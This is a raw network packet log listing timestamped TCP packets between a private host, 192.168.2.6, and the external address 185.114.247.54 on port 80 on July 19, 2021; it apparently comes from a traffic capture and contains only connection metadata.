Jul 19, 2021 18:36:24.576924086 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576927900 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.576951027 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.576973915 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577013016 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577045918 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577049017 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.577075005 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577109098 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577140093 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.577140093 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.577178955 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.577234983 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.656308889 CEST	80	49939	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.656472921 CEST	49939	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.657403946 CEST	80	49941	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.657493114 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.658783913 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.659827948 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.659856081 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.659946918 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.660075903 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.660094976 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.660191059 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.660227060 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.661237955 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.661273956 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.661407948 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.738446951 CEST	80	49941	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.742077112 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.742100954 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.742193937 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.742248058 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.742351055 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.743591070 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.743607044 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.743741035 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.743942976 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.743956089 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.744056940 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.744188070 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.749552965 CEST	80	49941	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.749702930 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.824492931 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.824537992 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.824634075 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.824685097 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.857918024 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.858119011 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.859277010 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.924981117 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.937148094 CEST	80	49941	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.937259912 CEST	49941	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.940182924 CEST	80	49940	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.940269947 CEST	49940	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.942444086 CEST	80	49942	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:24.942562103 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:24.943337917 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.026770115 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.026829958 CEST	80	49942	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.027005911 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.028028011 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.028441906 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.028824091 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.029128075 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.037709951 CEST	80	49942	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.037833929 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.125909090 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.125933886 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.126260996 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.126466990 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.126580954 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.126827955 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.126988888 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.127137899 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.127377987 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.127465010 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.127578974 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.127674103 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.127862930 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.127947092 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.128213882 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.128360033 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.128410101 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.128523111 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.128779888 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.128983021 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.128998995 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.129077911 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.152756929 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.155479908 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.225148916 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.225167036 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.225173950 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.225188971 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.225200891 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.225414038 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.225538969 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.226564884 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.226582050 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.226588964 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.226811886 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.227575064 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.227679968 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.227922916 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.228090048 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.236819983 CEST	80	49942	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.236922979 CEST	49942	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.239355087 CEST	80	49944	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.239593983 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.240525007 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.323754072 CEST	80	49944	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.323998928 CEST	80	49944	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.324116945 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.333415985 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.333583117 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.431252956 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.431276083 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.431286097 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.431298971 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.433163881 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.434540033 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.440860033 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.440958023 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.515460014 CEST	80	49944	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.515579939 CEST	49944	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.526218891 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.527184010 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.528409958 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.620045900 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.620239019 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.620872974 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.639308929 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.639519930 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.639894962 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.640311956 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.730705023 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.731301069 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732754946 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732892990 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732903004 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732914925 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732924938 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.732939005 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.733109951 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.733171940 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.736736059 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.820111036 CEST	80	49946	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.820308924 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.824754000 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.828284979 CEST	80	49943	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.828408003 CEST	49943	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.830147028 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.830281019 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.831187010 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.831243992 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.831302881 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.831409931 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.831788063 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.831881046 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.831888914 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.831973076 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.832379103 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.832484961 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.832490921 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.832633972 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.832653046 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.832757950 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.903636932 CEST	80	49946	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.903669119 CEST	80	49946	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.903764963 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.921881914 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.922076941 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:25.925214052 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925234079 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925246000 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925261021 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925276041 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925290108 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:25.925308943 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.011220932 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.011471033 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.012504101 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.013588905 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.013605118 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.013627052 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.013647079 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.013737917 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.094810009 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.094989061 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.095576048 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.130156994 CEST	80	49946	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.143207073 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.170774937 CEST	80	49946	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.170903921 CEST	49946	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.178193092 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.178241968 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.179011106 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.183770895 CEST	80	49945	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.183867931 CEST	49945	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.622045994 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.622172117 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.622363091 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.622478962 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.704315901 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.704341888 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.704410076 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.704469919 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.704535961 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.704595089 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.704678059 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.704741001 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.705003023 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.705055952 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.705132961 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.705193043 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.705447912 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.705502033 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.705873966 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.705883026 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.705957890 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.705972910 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.706024885 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.706070900 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.706209898 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.706233978 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.706257105 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.720092058 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.787957907 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.787985086 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.787998915 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.788099051 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.788625956 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.788660049 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.788718939 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.788806915 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.789165974 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.789241076 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.789350033 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.789446115 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.789593935 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.789608955 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.789704084 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.820329905 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.820480108 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.821398973 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.870426893 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.870476961 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.870522976 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.870556116 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.870899916 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.871015072 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.871336937 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.871530056 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.871774912 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.871892929 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.872010946 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.872134924 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.920447111 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.931915998 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.932868958 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.952965021 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.952986956 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:26.994353056 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.994488001 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.994965076 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:26.995121956 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.043011904 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.044461966 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.094242096 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.094294071 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.094351053 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.094400883 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.094476938 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.094577074 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.096129894 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.096224070 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.096337080 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.096390963 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.096668005 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.096725941 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.097089052 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.097207069 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.097529888 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.097593069 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.097888947 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.097943068 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.098125935 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.098174095 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.098256111 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.098303080 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.098412991 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.098489046 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.123248100 CEST	80	49950	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.123596907 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.124099970 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.125145912 CEST	80	49947	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.125230074 CEST	49947	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.193090916 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.193212032 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.195031881 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.195249081 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.195409060 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.195974112 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.196156025 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.196237087 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.196326971 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.196640015 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.196719885 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.197436094 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.197453976 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.197566986 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.198288918 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.198847055 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.204416990 CEST	80	49950	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.204569101 CEST	80	49950	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.204665899 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.295418978 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.295535088 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.295768023 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.295784950 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.295806885 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.295828104 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.295846939 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296016932 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296031952 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296041012 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296222925 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296662092 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.296730042 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296747923 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296937943 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.296955109 CEST	80	49948	185.114.247.54	192.168.2.6
